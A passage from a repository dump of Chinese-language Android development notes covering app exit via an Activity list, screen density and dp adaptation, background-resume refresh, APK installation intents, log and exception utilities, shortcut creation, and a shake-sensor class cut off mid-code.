    "content": "安全退出应用程序\n===\n\n1. 杀死进程。    \n    这种方法是没有效果的只能杀死当前的`Activity`无法关闭程序，在1.5的时候有用，谷歌设计的时候规定程序不能自杀\n\t`android.os.Process.killProcess(android.os.Process.myPid())`.                                 \n2. 终止当前正在运行的Java虚拟机，导致程序终止.     \n    这种方法也是没有效果的，因为`Android`用的是`dalvik`虚拟机\n    `System.exit(0);`\n3. 强制关闭与该包有关联的一切执行     \n    这种方法只能杀死别人，无法杀死自己     \n    ```java\n    ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);    \n    manager.restartPackage(getPackageName());\n    同时需要申请权限\n    <uses-permission android:name=\"android.permission.RESTART_PACKAGES\" />\n    ```\n\n既然上面介绍的三种方法都没有效果，那么怎么才能退出应用程序呢？        \n就是自定义一个`Application`,在该`Application`中去定义一个`List<Activity>`的集合来记录中每一个开启的`Activity`，在退出的时候去遍历这个`List<Activity>`集合，\n然后挨个的进行`mActivity.finish()`方法，这要求在每开启一个`Activity`的时候都加入到`List`集合中，并且在`Activity`退出的时候从`List`集合中将其移除。       \n```java\npublic class Activity01 extends Activity {\n\t\n\t@Override\n\tpublic void onCreate(Bundle savedInstanceState) {\n\t\tsuper.onCreate(savedInstanceState);\n\t\tsetContentView(R.layout.main);\n\t\tMyApp myApp = (MyApp) getApplication();\n\t\tmyApp.activies.add(this);\n\t}\n\t\n\t@Override\n\tprotected void onDestroy() {\n\t\tsuper.onDestroy();\n\t\tMyApp myApp = (MyApp) getApplication();\n\t\tmyApp.activies.remove(this);\n\t}\n\t\n\tpublic void click1(View view){\n\t\tIntent intent = new Intent(this,Activity01.class);\n\t\tstartActivity(intent);\n\t}\n\tpublic void click2(View view){\n\t\tIntent intent = new Intent(this,Activity02.class);\n\t\tstartActivity(intent);\n\t}\n\t\n\tpublic void exit(View view){\n\t\tMyApp myApp = (MyApp) getApplication();\n\t\t for(Activity ac : myApp.activies){\n\t\t\t ac.finish();\n\t\t }\n\t}\n}\n\npublic class Activity02 extends Activity {\n\n\t@Override\n\tpublic void onCreate(Bundle savedInstanceState) {\n\t\tsuper.onCreate(savedInstanceState);\n\t\tsetContentView(R.layout.main2);\n\t\tMyApp myApp = (MyApp) getApplication();\n\t\tmyApp.activies.add(this);\n\t}\n\t\n\tpublic void click1(View view) {\n\t\tIntent intent = new Intent(this, Activity01.class);\n\t\tstartActivity(intent);\n\t}\n\t\n\tpublic void click2(View view) {\n\t\tIntent intent = new Intent(this, Activity02.class);\n\t\tstartActivity(intent);\n\t}\n\t\n\tpublic void exit(View view) {\n\t\tMyApp myApp = (MyApp) getApplication();\n\t\tfor (Activity ac : myApp.activies) {\n\t\t\tac.finish();\n\t\t}\n\t}\n\n\t@Override\n\tprotected void onDestroy() {\n\t\tsuper.onDestroy();\n\t\tMyApp myApp = (MyApp) getApplication();\n\t\tmyApp.activies.remove(this);\n\t}\n}\n\npublic class MyApp extends Application {\n\t//存放当前应用程序里面打开的所有的activity\n\tpublic List<Activity> activies;\n\t@Override\n\tpublic void onCreate() {\n\t\tactivies = new ArrayList<Activity>();\n\t\tsuper.onCreate();\n\t} \n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/屏幕适配.md",
    "content": "屏幕适配\n===\n\n## 基本概念\n\n`Px`不同设备显示效果相同。这里的“相同”是指像素数不会变，比如指定`UI`长度是`100px`，那不管分辨率是多少`UI`长度都是`100px`。\n也正是因为如此才造成了`UI`在小分辨率设备上被放大而失真，在大分辨率上被缩小。\n\n#### Screen Size（屏幕尺寸）\n\n一般所说的手机屏幕大小如5寸、5.5英寸，都是指的屏幕对角线的长度，而不是手机面积。我们可以根据勾股定理获取手机的宽和长，当然还有面积。单位为`inch`,1英寸=2.54厘米\n\n#### Resolution（分辨率）\n\n指手机屏幕垂直和水平方向上的像素个数。比如分辨率是`480*320`，则指设备垂直方向有480个像素点，水平方向有320个像素点。单位`px * px`，指的是一屏显示多少像素点。\n\n#### Dpi（dots per inch屏幕密度）\n\n单位`dpi`，指的是每`inch`上可以显示多少像素点即`px`。(每英寸中的像素数)如`160dpi`指手机水平或垂直方向上每英寸距离有`160`个像素点。`dpi`越高，每个像素点越小也就越清晰。\n简单地说，`dpi`越高就意味着每英寸显示的细节越多，而不是直接取决于高分辨。举个例子，\n`Galaxy Nexus`(对角线 4.65”)分辨率为：`720×1280`,`Nexus 7`(对角线 7”)分辨率为：`800×1280`.\n常见的错误观点是认为他们拥有相同的屏幕像素密度，因为它们的分辨率几乎一样。\n然而，`Galaxy Nexus` 的屏幕像素密度约为`316dpi`，`Nexus 7`的屏幕像素密度为`216dpi`，相差甚远。\n这是因为虽然它们拥有一样的分辨率，但是它们显示尺寸却不一样。\n再次说明，屏幕像素密度是分辨率和显示尺寸的比值，两个因素一起决定屏幕像素密度。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/dpi_calculate.png?raw=true)       \n例如：计算`Nexus5`的屏幕像素密度： 屏幕尺寸：`4.95inch`、分辨率：`1920×1080`，屏幕像素密度：`445`      \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/dpi_nexus5.png?raw=true)      \n  \n\n#### Dip（Device-independent pixel，设备独立像素）\n\n同`dp`，指的是自适应屏幕密度的像素，用于指定控件宽高。就所屏幕密度变大，1dp所对应的px也会变大。\n不同设备有不同的显示效果,这个和设备硬件有关，一般我们为了支持`WVGA、HVGA`和`QVGA`推荐使用这个，\n不依赖像素。\n`dip`和具体像素值的对应公式是`dip值 =设备密度/160* pixel`值，可以看出在`dpi`（像素密度）为`160dpi`的设备上`1px=1dip`,\n在`Android`中，规定以`160dpi`为基准，`1dip=1px`，如果密度是`320dpi`，则`1dip=2px`，\n以此类推。\n\n#### Sp（ScaledPixels放大像素）\n主要用于字体显示`（best for textsize）`。根据`google`的建议，`TextView`的字号最好使用`sp`做单位，\n而且查看`TextView`的源码可知`Android`默认使用`sp`作为字号单位。`Google`推荐我们使用`12sp`以上的大小，\n通常可以使用`12sp`，`14sp`，`18sp`，`22sp`，最好不要使用奇数和小数。\n\n\n我们可以用下面的部分来解释为什么用dip代替px作单位：   \n设备最终会以`px`作为长度单位。    \n如果我们直接用`px`作为单位会造成`UI`在不同分辨率设备上出现不合适的缩放。\n因此我们需要一种新的单位，这种单位要最终能够以合适的系数换算成`px`使`UI`表现出合适的大小。   \n`Dip`符合这种要求吗？    \n由`dip`和具体像素值的对应公式`dip值 =设备密度/160* pixel`值可以知\n也就是说`UI`最终的pixel值只受像素密度dip的影响，\n这个`dip`就相当于那个换算系数，这个系数的值是多少有设备商去决定。因此`dip`符合这种要求。\n\n## android为什么引进dip\n    \n> The reason for dip to exist is simple enough. Take for instance the T-Mobile G1. It has a pixel resolution of 320x480 pixels. \nNow image another device, with the same physical screen size, but more pixels, for instance 640x480. \nThis device would have a higher pixel density than the G1.      \n\n> —If you specify, in your application, a button with a width of 100 pixels, it will look at lot smaller on the 640x480 device than on the 320x480 device. \nNow, if you specify the width of the button to be 100 dip, the button will appear to have exactly the same size on the two devices.\n\n> —The density-independent pixel is equivalent to one physical pixel on a 160 dpi screen, the baseline density assumed by the \nplatform (as described later in this document). At run time, the platform transparently handles any scaling of the dip units needed, \nbased on the actual density of the screen in use. The conversion of dip units to screen pixels is simple: pixels = dips * (density / 160).\nFor example, on 240 dpi screen, 1 dip would equal 1.5 physical pixels.Using dip units to define your application's UI is highly recommended, \nas a way of ensuring proper display of your UI on different screens.\n\n`dip`是一种能自适应屏幕密度的像素，这个屏幕密度就是屏幕中一英寸里面含有的像素数，打个比方说，现在有两个4寸的手机，一个分辨率是`320*480`,\n它的屏幕密度是1，\n而另一个是`480*800`的分辨率,这样他的屏幕密度就是1.5，如果我们在320*480的手机中弄了一个160dp的横线，\n由于他的屏幕密度是1，所以他里面dp和px是一比一的计算。\n这样这条横线正好占屏幕的一半，而我们将这个横线的视图发布到480*800的手机上时，\n虽然也是160dp，\n但是由于他的屏幕密度是1.5.按照dp与px的计算公式pixel值=dip值/(设备密度/160)，\n可以得到将160dp要乘以1.5倍，这样得到的px就是240px，\n而这个手机的分辨率正好是480*800，所以看起来仍然是占屏幕的一半。\n注意：不论多少`dp`最后都是要通过转换成`px`来显示的手机的屏幕上的，\n至于这个`dp`的大小在屏幕上到底能占多少位置，就要看这个转换后的`px`与屏幕的宽度像素的比值了。\n\n另一个例子： 打个比方一个是4寸`480*800`的手机，屏幕密度为1.5.  另一个是7寸的`1280*800`的平板。屏幕密度也为1.  \n这样用160dp的横线，在`480*800`的手机上换算成`px`是`160*1.5 = 240`，这样横向正好占屏幕的一半，\n但是在`1280*800`的平板上，`160dp`换算后的`px`为，`160*1 = 160px`,\n而屏幕的宽是`1280`.这样这条横线显示在`1280*800`的平板上后，是`160/1280`正好是八分之一。\n\n所以引入dp解决的是什么问题呢？同一个屏幕尺寸下，对于不同的分辨率，由于尺寸相同，分辨率不同，所以它的屏幕密度就会不一样，\n这样在同一尺寸的不同分辨率下的设备上，显示出来会看到所占的比例基本一样。如两个7寸的平板，一个是`1280*800`，一个是`2560*1600`，\n这样用`dp`后，虽然`2560*1600`的分辨率比那个要大一倍，但是它尺寸一样啊，\n所以屏幕的分辨率会是另一个的2倍，这样dp转成px后会乘以2.这样显示到这两个设备上所占的比例会一样\n\n一个是`7`寸`1280*800`的手机，密度为1，一个是5寸`1024*600的`手机，密度为1.\n这样你用160dp的线，在前面是8分之一，在后面是六分之一，你就悲剧了，所以要做屏幕适配了\n \n## 代码\n\n```java\nDisplayMetrics displayMetrics = new DisplayMetrics();\ngetWindowManager().getDefaultDisplay().getMetrics(displayMetrics);\nLog.e(\"@@@\", \"density:\"+displayMetrics.density);    //1\nLog.e(\"@@@\", \"densityDpi:\"+displayMetrics.densityDpi);   //160\nLog.e(\"@@@\", \"widthPixels:\"+displayMetrics.widthPixels);   //1024\nLog.e(\"@@@\", \"heightPixels:\"+displayMetrics.heightPixels); //600\n```     \n`displayMetrics.densityDpi`是真正的屏幕密度，可以为`160dpi`(`mdpi`标准的屏幕密度),`240dpi`(`hdpi`),\n`320dpi(xhdpi)`.\n`displayMetrics.density`,这个不叫屏幕密度，但是在`dp`和`px`转换的时候要使用到，\n这个是屏幕密度的比例值，是用该设备的屏幕密度除以标准的屏幕密度得到的一个比值，\n如`240dpi/160dpi = 1.5`\n \n## 屏幕适配文件夹命名规则\n\n- 命名不区分大小写；\n- 命名形式：资源名-属性1-属性2-属性3-属性4-属性5.....\n    资源名就是资源类型名，包括:drawable, values, layout, anim, raw, menu, color, animator, xml；\n    属性1-属性2-属性3-属性4-属性5.....就是上述的属性集内的属性，如:-en-port-hdpi；\n    注意：各属性的位置顺序必须遵守优先级从高到低排列！否则编译不过\n\n- 实例说明\n    - 把全部属性都用上的例子(各属性是按优先级先后排列出来的)                     \n        values-mcc310-en-sw320dp-w720dp-h720dp-large-long-port-car-night-ldpi-notouch-keysexposed-nokeys-navexposed-nonav-v7\n    - 上述例子属性的中文说明                     \nvalues-mcc310(sim卡运营商)-en(语言)-sw320dp(屏幕最小宽度)-w720dp(屏幕最佳宽度)-h720dp(屏幕最佳高度)-large(屏幕尺寸)-long(屏幕长短边模式)\n-port(当前屏幕横竖屏显示模式)-car(dock模式)-night(白天或夜晚)-ldpi(屏幕最佳dpi)-notouch(触摸屏模类型)-keysexposed(键盘类型)-nokey(硬按键类型)\n-navexposed(方向键是否可用)-nonav(方向键类型)-v7(android版本)\n\n## 手机常见分辨率\n4:3               \nVGA   640*480 (Video Graphics Array)            \nQVGA  320*240 (Quarter VGA)            \nHVGA  480*320 (Half-size VGA)      \nSVGA  800*600 (Super VGA)            \n\n5:3              \nWVGA  800*480 (Wide VGA)           \n\n16:9             \nFWVGA     854*480 (Full Wide VGA)                   \nHD        1920*1080 High Definition              \nQHD       960*540       \n720p      1280*720  标清         \n1080p     1920*1080 高清               \n\n\n \n|分辨率对应DPI |     像素密   | 通常的分辨率  | 比例大小|\n| ---------- |:----------:|:----------:|-----------:|\n|HVGA|    mdpi    | 160dpi  | 320*480 |      1|\n|WVGA |   hdpi  |   240dpi |  480*800  |     1.5|\n|720P    |xhdpi   | 320dpi  | 720*1280    |  2  |\n|1080P   |xxhdpi  | 480dpi  | 1080*1920  |   3 |\n|  xx  |    xxxhdpi | 640dpi   |          |    4 |\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/xhdpi.jpg?raw=true)    \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/icon_size.jpg?raw=true)    \n\n为了解决适配的问题有时候还会使用9patch图，这里随便说一下。     \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/9patch.jpg?raw=true)\n\n- `Stretchable area`代表拉伸的部分。\n- `Padding box`代码内容所在区域。外面的就是`padding`部分。\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/dpi_drawable.png?raw=true)    \n\n### Android图片选择策略\n上面说到，如果屏幕所对应的文件夹没有要找的图片怎么办。\n这是很常见的，我们开发项目时一般不会去为每一个级别的屏幕去切一套图片。\n那样做只会让`apk`很大。所以一般性的图片我们只切一两个典型密度屏幕的图片。\n但是`apk`是有可能会运行在从`ldpi`到`xxhdpi`的各种级别的手机上。\n这个时候就需要根据一定的策略去寻找图片了。\n\n`Android`系统寻找图片的步骤是这样的：\n\n- 去屏幕密度对应的目录去找。如果找到就拿来用。\n- 如果没找到，就去比这个密度高一级的目录里面去找，如果找到就拿来用。\n- 如果没找到就继续往上找。以此类推。\n- 如果到了xxhdpi目录还没有找到的话，就会去比自身屏幕密度低一级的目录去找，如果低一级的目录>=hdpi，找到了就拿来用。\n- 如果没找到， 就去mdpi目录去找， 如果找到了，就拿来用。\n- 如果没找到，就去默认的drawble目录里去找， 如果找到了就拿来用。\n- 如果没找到，再去最低的ldpi目录里去找。如果找到了，就拿来用。\n- 如果没找到， 那就是没找到了， 图片无法显示。（不过一般不会出现这种现象，因为如果每个目录都没有这个图片的话，你是编译不过的）\n\n这里有两点需要注意：\n\n- 先会去比自己密度高的目录里去找，这是因为因为系统相信，你在密度更高的目录里会放置分辨率更大的图片，这样的话这个图片会被缩小，但同时显示效果不会有损失，但是如果优先去低一级别的目录去找的话， 找到的图片就会被放大，这样的话这个图片就会被拉扯模糊了。\ne.g. 同一张图片，你在mdpi和xxhdpi目录各放了一份， 这个应用你现在运行在hdpi的手机上， 那应用会选择哪张图片呢。答案是xxhdpi目录里的。即便hdpi离mdpi更近一点！\n\n- 如果在mdpi里找不到是不会直接去ldpi里找的， 而是先去默认的drawble目录里找，这是drawble目录和drawble-mdpi是一个级别的。\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/scale_drawable.png?raw=true)    \n上表几点值得注意的地方：\n\n- `rawable`目录和`drawable-mdpi`目录和`dp`到`px`的转换关系是一样的。 \n- 当你放一个`120px*180px`的图片到`drawable-hdpi`目录，如果此应用运行在一个`xhdpi`的手机上，则这个图片会被拉扯到`160px*240px`。\n- 最后一行`dp->px`， 说明了在代码或者布局文件中声明一个`dp`值， 这个值在不同屏幕密度的手机中会被乘以不同的倍数。 \n比如你在布局文件中写了一个宽和高分别为`120dp`和`180dp`的`LinearLayout`， 那么当这个应用运行在`xhdpi`的手机上时\n它的实际像素就会被转换为`240px*360px`。 如果运行在`ldpi`的手机上，就变成了`90px*135px`。 但是在这两个手机中显示的区域大小从肉眼看，是一模一样大的。\n\nUI给工程师切多大图是合适的。   \n直接基于`720*1280`的视觉稿切一版图片就可以了。 将图片只放到`xhdpi`目录中，\n这样系统会在不同密度屏幕的手机中对图片进行合理的缩放，如果想在`xxhdpi`的手机上显示的很好， 也可以基于`1080P`的屏幕设计然后放到`xxhdpi`中， \n这样的话就兼容所有低密度屏幕的手机， 而且也不会出现图片被拉扯的现象。\n\nNote:`The mipmap-xxxhdpi qualifier is necessary only to provide a launcher icon that can appear larger than usual on an xxhdpi device. You do not need to provide xxxhdpi assets for all your app's images.`\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/应用后台唤醒后数据的刷新.md",
    "content": "应用后台唤醒后数据的刷新\n===\n\n1. 如何判断程序是否是在后台运行了\n    ```java\n    /**\n     * 判断当前的应用程序是否在后台运行,使用该程序需要声明权限android.permission.GET_TASKS\n     * @param context Context\n     * @return true表示当前应用程序在后台运行。false为在前台运行\n     */\n    public static boolean isApplicationBroughtToBackground(Context context) {\n        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n        List<RunningTaskInfo> tasks = am.getRunningTasks(1);\n        if (tasks != null && !tasks.isEmpty()) {\n            ComponentName topActivity = tasks.get(0).topActivity;\n            if (!topActivity.getPackageName().equals(context.getPackageName())) {\n                return true;\n            }\n        }\n        return false;\n    }\n    ```\n\n2. 在Activity中的onStop方法中去判断当前的应用程序是否在后台运行，同时用一个成员变量去记录该Activity是否为后台，\n\t在onResume方法中去判断记录程序后台的变量是否为true，如为true就说明现在是程序从后台切换到前台了，这时候就要去刷新数据了\n    ```java\n    /**\n     * 用于记录当前应用程序是否在后台运行,这样只作用于一个Activity，如果想让所有的\n     * Activity都知道程序从后台到前台了，这时候要弄一个基类BaseActivity了，在\n     * BaseActivity中去执行这些代码，让其他的Activity都继承该BaseActivity。并且要将\n     * isApplicationBroughtToBackground变成static的。\n     * 然后在onResume方法中不要执行isApplicationBroughtToBackground = false;这样其他\n     * Activity在onResume方法中判断时就知道应用是从后台切换到前台的了，不用担心这样会导\n     * 致isApplicationBroughtToBackground无法恢复为false，因为在onStop方法中，我们\n     * 判断了如果现在程序不是后台，就将isApplicationBroughtToBackground 变为false了\n     */\n    private boolean isApplicationBroughtToBackground;\n    \n    @Override\n    protected void onStop() {\n        super.onStop();\n        if(isApplicationBroughtToBackground(this)) {\n            //程序后台了\n            LogUtil.i(TAG, \"后台了...\");\n            isApplicationBroughtToBackground = true;\n        }else {\n            LogUtil.i(TAG, \"木有后台\");\n            isApplicationBroughtToBackground = false;\n        }\n        \n    }\n    \n    protected void onResume() {\n        super.onResume();\n        if(isApplicationBroughtToBackground) {\n            //从后台切换到前台了\n            LogUtil.i(TAG, \"从后台切换到前台了,刷新数据\");\n            loadFocusInfoData();\n        }\n        isApplicationBroughtToBackground = false;\n    };\n    ```\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/应用安装.md",
    "content": "应用安装\n===\n\n1. 在应用程序中安装程序需要权限   \n   ` <uses-permission android:name=\"android.permission.INSTALL_PACKAGES\" />`\n\n2. 示例代码   \n    安卓中提供了安装程序的功能，我们只要启动安装程序的Activity，并把我们的数据传入即可。\n\t```java\n\t//获取到要安装的apk文件的File对象\n\tFile file = new File(Environment.getExternalStorageDirectory(), \"test.apk\");\n\t//创建一个意图\n\tIntent intent = new Intent();\n\t//设置意图动作\n\tintent.setAction(Intent.ACTION_VIEW);  //android.intent.action.VIEW\n\t//设置意图数据和类型\n\tintent.setDataAndType(Uri.fromFile(file), \"application/vnd.android.package-archive\");\n\t//启动安装程序的Activity\n\tstartActivity(intent);\n\t```\n\n**Tip:**   \n- `Uri.fromFile(File file)`方法能从一个`File`对象得到它的`Uri`  \n- `Intent`有`setData(Uri uri)`和`setType(String type)`方法，但是这里如果我们分开写就会报错，\n\t原因是`setData()`方法在执行的时候会自动清空所有在此之前调用的`setType`方法所设置过的type，\n\t同样`setType`方法在执行的时候也会自动清空所有在此之前调用`setData`设置的`Data`，所以这里必须使用`setDataAndType`方法而不能分开使用`setData`和`setType`.\n- `Android`中提供了安装应用程序的功能，在`Android`系统源码中`apps/PackageInstaller`中。我们找到这个`PackageInstaller`的清单文件，\n\t然后找到`PackageInstallerActivity`来查找该`Activity`的意图：如下\n\t`android_source/packages/apps/PackageInstaller/AndroidManifest.xml`\n\t```xml\n\t<activity android:name=\".PackageInstallerActivity\"\n\t\t\tandroid:configChanges=\"orientation|keyboardHidden\"\n\t\t\tandroid:excludeFromRecents=\"true\">\n\t\t<intent-filter>\n\t\t\t<action android:name=\"android.intent.action.VIEW\" />\n\t\t\t<action android:name=\"android.intent.action.INSTALL_PACKAGE\" />\n\t\t\t<category android:name=\"android.intent.category.DEFAULT\" />\n\t\t\t<data android:scheme=\"content\" />\n\t\t\t<data android:scheme=\"file\" />\n\t\t\t<data android:mimeType=\"application/vnd.android.package-archive\"/>\n\t\t</intent-filter>\n\t\t<intent-filter>\n\t\t\t<action android:name=\"android.intent.action.INSTALL_PACKAGE\" />\n\t\t\t<category android:name=\"android.intent.category.DEFAULT\" />\n\t\t\t<data android:scheme=\"content\" />\n\t\t\t<data android:scheme=\"file\" />\n\t\t</intent-filter>\n\t</activity>\n\t```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/开发中Log的管理.md",
    "content": "开发中Log的管理\n===\n\n**LogUtil**是一个管理`Log`打印的工具类。在开发的不同阶段中通过对该类的控制来实现不同级别`Log`的打印。        \n```java    \npublic class LogUtil {\n\tpublic static final int VERBOSE = 5;\n\tpublic static final int DEBUG = 4;\n\tpublic static final int INFO = 3;\n\tpublic static final int WARN = 2;\n\tpublic static final int ERROR = 1;\n\n\t/** 通过改变该值来进行不同级别的Log打印，上线的时将该值改为0来关闭所有log打印 */\n\tpublic final static int LOG_LEVEL = 6;\n\n\tpublic static void v(String tag, String msg) {\n\t\tif (LOG_LEVEL > VERBOSE) {\n\t\t\tLog.v(tag, msg);\n\t\t}\n\t}\n\n\tpublic static void d(String tag, String msg) {\n\t\tif (LOG_LEVEL > DEBUG) {\n\t\t\tLog.d(tag, msg);\n\t\t}\n\t}\n\n\tpublic static void i(String tag, String msg) {\n\t\tif (LOG_LEVEL > INFO) {\n\t\t\tLog.i(tag, msg);\n\t\t}\n\t}\n\n\tpublic static void w(String tag, String msg) {\n\t\tif (LOG_LEVEL > WARN) {\n\t\t\tLog.w(tag, msg);\n\t\t}\n\t}\n\n\tpublic static void e(String tag, String msg) {\n\t\tif (LOG_LEVEL > ERROR) {\n\t\t\tLog.e(tag, msg);\n\t\t}\n\t}\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/开发中异常的处理.md",
    "content": "开发中异常的处理\n===\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/oom.png)\n\n1. 实现未捕捉异常处理器    \n\n```java\npublic class MyExceptionHandler implements UncaughtExceptionHandler {\n\tprivate static final String TAG = \"MyExceptionHandler\";\n\t@Override\n\tpublic void uncaughtException(Thread arg0, Throwable arg1) {\n\t\tLogger.i(TAG, \"发生了异常,但是被哥捕获了...\");\n\t\ttry {\n\t\tField[] fields = Build.class.getDeclaredFields();//可以通过Build的属性来获取到手机的硬件信息，由于不同手机的硬件信息部一定有，所以要用反射得到\n\t\tStringBuffer sb = new StringBuffer();\n\t\tfor(Field field: fields){\n\t\t\tString info = field.getName()+ \":\"+field.get(null)+\"\\n\";\n\t\t\tsb.append(info);\n\t\t}\n\t\tStringWriter sw = new StringWriter();\n\t\tPrintWriter pw = new PrintWriter(sw);\n\t\targ1.printStackTrace(pw);//通过这个来得到异常信息\n\t\tString errorlog = sw.toString();\n\t\t\n\t\t\tFile file = new File(Environment.getExternalStorageDirectory(),\n\t\t\t\t\t\"error.log\");\n\t\t\tFileOutputStream fos = new FileOutputStream(file);\n\t\t\tsb.append(errorlog);\n\t\t\tfos.write(sb.toString().getBytes());\n\t\t\tfos.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tandroid.os.Process.killProcess(android.os.Process.myPid());//这个是只能杀死自己不能杀死别人，这时候系统发现程序在自己的范围之内死了，\n\t\t系统就会重启程序到出现错误之前的那个Activity。\n\t}\n}\n```\n\n2. 让这个处理器生效   \n\n```java\n/**\n * 代表的是当前应用程序的进程.\n */\npublic class MobliesafeApplication extends Application {\n\tpublic BlackNumberInfo info;\n\t\n\t@Override\n\tpublic void onCreate() {\n\t\tsuper.onCreate();\n\t\tThread.currentThread().setUncaughtExceptionHandler(new MyExceptionHandler());//这样就能够让异常的处理器设置到我们的程序中\n\t}\n}\n```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/快捷方式工具类.md",
    "content": "快捷方式工具类\n===\n\n```java    \n/**   \n * 快捷方式工具类    \n */\npublic class ShortCutUtils {\n    /**\n     * 添加当前应用的桌面快捷方式\n     * \n     * @param cx\n     */\n    public static void addShortcut(Context cx) {\n        Intent shortcut = new Intent(\n                \"com.android.launcher.action.INSTALL_SHORTCUT\");\n        Intent shortcutIntent = cx.getPackageManager()\n                .getLaunchIntentForPackage(cx.getPackageName());\n        shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);\n        // 获取当前应用名称\n        String title = null;\n        try {\n            final PackageManager pm = cx.getPackageManager();\n            title = pm.getApplicationLabel(\n                    pm.getApplicationInfo(cx.getPackageName(),\n                            PackageManager.GET_META_DATA)).toString();\n        } catch (Exception e) {\n        }\n        // 快捷方式名称\n        shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, title);\n        // 不允许重复创建（不一定有效）\n        shortcut.putExtra(\"duplicate\", false);\n        // 快捷方式的图标\n        Parcelable iconResource = Intent.ShortcutIconResource.fromContext(cx,\n                R.drawable.ic_launcher);\n        shortcut.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, iconResource);\n        cx.sendBroadcast(shortcut);\n    }\n    /**\n     * 删除当前应用的桌面快捷方式\n     * \n     * @param cx\n     */\n    public static void delShortcut(Context cx) {\n        Intent shortcut = new Intent(\n                \"com.android.launcher.action.UNINSTALL_SHORTCUT\");\n        // 获取当前应用名称\n        String title = null;\n        try {\n            final PackageManager pm = cx.getPackageManager();\n            title = pm.getApplicationLabel(\n                    pm.getApplicationInfo(cx.getPackageName(),\n                            PackageManager.GET_META_DATA)).toString();\n        } catch (Exception e) {\n        }\n        // 快捷方式名称\n        shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, title);\n        Intent shortcutIntent = cx.getPackageManager()\n                .getLaunchIntentForPackage(cx.getPackageName());\n        shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);\n        cx.sendBroadcast(shortcut);\n    }\n    /**\n     * 判断当前应用在桌面是否有桌面快捷方式\n     * \n     * @param cx\n     */\n    public static boolean hasShortcut(Context cx) {\n        boolean result = false;\n        String title = null;\n        try {\n            final PackageManager pm = cx.getPackageManager();\n            title = pm.getApplicationLabel(\n                    pm.getApplicationInfo(cx.getPackageName(),\n                            PackageManager.GET_META_DATA)).toString();\n        } catch (Exception e) {\n        }\n        final String uriStr;\n        if (android.os.Build.VERSION.SDK_INT < 8) {\n            uriStr = \"content://com.android.launcher.settings/favorites?notify=true\";\n        } else {\n            uriStr = \"content://com.android.launcher2.settings/favorites?notify=true\";\n        }\n        final Uri CONTENT_URI = Uri.parse(uriStr);\n        final Cursor c = cx.getContentResolver().query(CONTENT_URI, null,\n                \"title=?\", new String[] { title }, null);\n        if (c != null && c.getCount() > 0) {\n            result = true;\n        }\n        return result;\n    }\n}\n```\n其中涉及的3个权限:\n```xml\n<uses-permission android:name=\"com.android.launcher.permission.INSTALL_SHORTCUT\" />\n<uses-permission android:name=\"com.android.launcher.permission.UNINSTALL_SHORTCUT\" />\n<uses-permission android:name=\"com.android.launcher.permission.READ_SETTINGS\" />\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/手机摇晃.md",
    "content": "手机摇晃\n===\n\n```java\n/**\n* 处理手机摇晃的监听\n* \n* @author Administrator\n* \n*/\npublic abstract class ShakeSensor implements SensorEventListener {\n    // 每隔一个时间段获取一个采样点：100毫秒\n    // 三个轴的加速值获取\n    // 计算增量（对于第一个采样点：无增量计算）\n    // 统计每次三个轴上的增量，得到一个三个轴总增量\n    // 将每次统计的增量进行累加\n    // 当累加的值大于200——玩家在摇晃手机——生产一注彩票（随机）\n\n    long lastTime = 0;\n    float lastX = 0;// 记录上一个点x轴的加速度值\n    float lastY = 0;// 记录上一个点y轴的加速度值\n    float lastZ = 0;// 记录上一个点z轴的加速度值\n\n    float shake = 0;// 相对于上一个点增量\n    float totalShake = 0;// 每次增量汇总\n\n    float switchValue = 200;// 判断手机是否摇晃的阈值\n\n    Vibrator vibrator;// 震动处理\n\n    Context context;\n\n    public ShakeSensor(Context context) {\n        super();\n        this.context = context;\n    }\n\n    @Override\n    public void onAccuracyChanged(Sensor sensor, int accuracy) {\n    }\n\n    @Override\n    public void onSensorChanged(SensorEvent event) {\n        long currentTime = System.currentTimeMillis();\n        if (currentTime - lastTime > 100) {\n            // 获取到三个轴的加速度值\n            float x = event.values[SensorManager.DATA_X];\n            float y = event.values[SensorManager.DATA_Y];\n            float z = event.values[SensorManager.DATA_Z];\n            // 当手机静止不动，会有微小的变动，当用户进入到双色球选号界面，过一个时间段自己选号\n            // 是否可以计算增量\n            if (lastTime == 0) {\n                // 当第一个采样点，不需要计算\n                lastX = x;\n                lastY = y;\n                lastZ = z;\n                lastTime = currentTime;\n            } else {\n                // 第二个以后\n                // 获取到相对于上一个点的增量,累积\n                float ix = Math.abs(x - lastX);\n                float iy = Math.abs(y - lastY);\n                float iz = Math.abs(z - lastZ);\n                